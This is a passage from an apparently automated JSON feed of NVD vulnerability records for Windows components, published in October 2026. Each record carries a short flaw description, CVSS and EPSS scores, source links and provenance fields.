fixes.","publishedAt":"2026-10-13T19:20:30.423Z","updatedAt":"2026-10-13T21:18:52.997Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83828","asOf":"2026-10-13T21:18:52.997Z"},"epss":{"probability":0.00361,"percentile":0.29676,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83828&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83828","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83828","type":"primary","publishedAt":"2026-10-13T19:20:30.423Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83828&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83828, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83827","cveId":"CVE-2026-83827","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Bluetooth Port Driver allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Bluetooth Port Driver allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Bluetooth Port Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:30.260Z","updatedAt":"2026-10-16T16:21:34.103Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83827","asOf":"2026-10-16T16:21:34.103Z"},"epss":{"probability":0.00286,"percentile":0.20923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83827&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83827","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83827","type":"primary","publishedAt":"2026-10-13T19:20:30.260Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83827&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83827, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83826","cveId":"CVE-2026-83826","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","summary":"Untrusted pointer dereference in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","detail":"Untrusted pointer dereference in Windows Error Reporting allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:30.130Z","updatedAt":"2026-10-13T21:18:52.743Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83826","asOf":"2026-10-13T21:18:52.743Z"},"epss":{"probability":0.00361,"percentile":0.29676,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83826&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83826","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83826","type":"primary","publishedAt":"2026-10-13T19:20:30.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83826&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83826, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83797","cveId":"CVE-2026-83797","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Partition Management Driver allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds read in Windows Partition Management Driver allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds read in Windows Partition Management Driver allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:29.803Z","updatedAt":"2026-10-16T16:21:33.693Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83797","asOf":"2026-10-16T16:21:33.693Z"},"epss":{"probability":0.00869,"percentile":0.58503,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83797&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83797","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83797","type":"primary","publishedAt":"2026-10-13T19:20:29.803Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83797&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83797, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83796","cveId":"CVE-2026-83796","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:29.667Z","updatedAt":"2026-10-13T21:18:52.387Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83796","asOf":"2026-10-13T21:18:52.387Z"},"epss":{"probability":0.00361,"percentile":0.29678,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83796&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83796","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83796","type":"primary","publishedAt":"2026-10-13T19:20:29.667Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83796&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83796, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83795","cveId":"CVE-2026-83795","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows IKE Extension allows an unauthorized attacker to deny service over a network.","summary":"Heap-based buffer overflow in Windows IKE Extension allows an unauthorized attacker to deny service over a network.","detail":"Heap-based buffer overflow in Windows IKE Extension allows an unauthorized attacker to deny service over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:29.477Z","updatedAt":"2026-10-16T16:21:33.447Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83795","asOf":"2026-10-16T16:21:33.447Z"},"epss":{"probability":0.01301,"percentile":0.70257,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83795&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83795","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83795","type":"primary","publishedAt":"2026-10-13T19:20:29.477Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83795&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83795, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83793","cveId":"CVE-2026-83793","aliases":[],"kind":"vulnerability","title":"Improper link resolution before file access ('link following') in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.","summary":"Improper link resolution before file access ('link following') in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.","detail":"Improper link resolution before file access ('link following') in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:29.150Z","updatedAt":"2026-10-16T16:21:33.143Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83793","asOf":"2026-10-16T16:21:33.143Z"},"epss":{"probability":0.00326,"percentile":0.25465,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83793&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83793","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83793","type":"primary","publishedAt":"2026-10-13T19:20:29.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83793&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83793, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83792","cveId":"CVE-2026-83792","aliases":[],"kind":"vulnerability","title":"Incorrect authorization in Windows Device Install Service allows an authorized attacker to elevate privileges locally.","summary":"Incorrect authorization in Windows Device Install Service allows an authorized attacker to elevate privileges locally.","detail":"Incorrect authorization in Windows Device Install Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:29.013Z","updatedAt":"2026-10-16T16:21:33.007Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83792","asOf":"2026-10-16T16:21:33.007Z"},"epss":{"probability":0.00323,"percentile":0.25032,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83792&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83792","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83792","type":"primary","publishedAt":"2026-10-13T19:20:29.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83792&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83792, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83791","cveId":"CVE-2026-83791","aliases":[],"kind":"vulnerability","title":"Improper authorization in Windows Virtual Input allows an authorized attacker to elevate privileges locally.","summary":"Improper authorization in Windows Virtual Input allows an authorized attacker to elevate privileges locally.","detail":"Improper authorization in Windows Virtual Input allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:28.870Z","updatedAt":"2026-10-16T16:21:32.870Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83791","asOf":"2026-10-16T16:21:32.870Z"},"epss":{"probability":0.00323,"percentile":0.25033,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83791&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83791","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83791","type":"primary","publishedAt":"2026-10-13T19:20:28.870Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83791&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83791, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83790","cveId":"CVE-2026-83790","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:28.743Z","updatedAt":"2026-10-16T16:21:32.743Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83790","asOf":"2026-10-16T16:21:32.743Z"},"epss":{"probability":0.00286,"percentile":0.20922,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83790&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83790","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83790","type":"primary","publishedAt":"2026-10-13T19:20:28.743Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83790&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83790, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83789","cveId":"CVE-2026-83789","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows SMB Client allows an unauthorized attacker to elevate privileges over a network.","summary":"Heap-based buffer overflow in Windows SMB Client allows an unauthorized attacker to elevate privileges over a network.","detail":"Heap-based buffer overflow in Windows SMB Client allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:28.570Z","updatedAt":"2026-10-16T16:21:32.573Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83789","asOf":"2026-10-16T16:21:32.573Z"},"epss":{"probability":0.00869,"percentile":0.58504,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83789&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83789","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83789","type":"primary","publishedAt":"2026-10-13T19:20:28.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83789&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83789, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83785","cveId":"CVE-2026-83785","aliases":[],"kind":"vulnerability","title":"Use after free in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:27.863Z","updatedAt":"2026-10-16T16:21:31.930Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83785","asOf":"2026-10-16T16:21:31.930Z"},"epss":{"probability":0.00326,"percentile":0.25457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83785&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83785","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83785","type":"primary","publishedAt":"2026-10-13T19:20:27.863Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83785&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83785, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83784","cveId":"CVE-2026-83784","aliases":[],"kind":"vulnerability","title":"Absolute path traversal in Windows Encrypting File System (EFS) allows an authorized attacker to elevate privileges over a network.","summary":"Absolute path traversal in Windows Encrypting File System (EFS) allows an authorized attacker to elevate privileges over a network.","detail":"Absolute path traversal in Windows Encrypting File System (EFS) allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:27.570Z","updatedAt":"2026-10-16T16:21:31.737Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83784","asOf":"2026-10-16T16:21:31.737Z"},"epss":{"probability":0.0108,"percentile":0.64869,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83784&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83784","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83784","type":"primary","publishedAt":"2026-10-13T19:20:27.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83784&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83784, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83783","cveId":"CVE-2026-83783","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 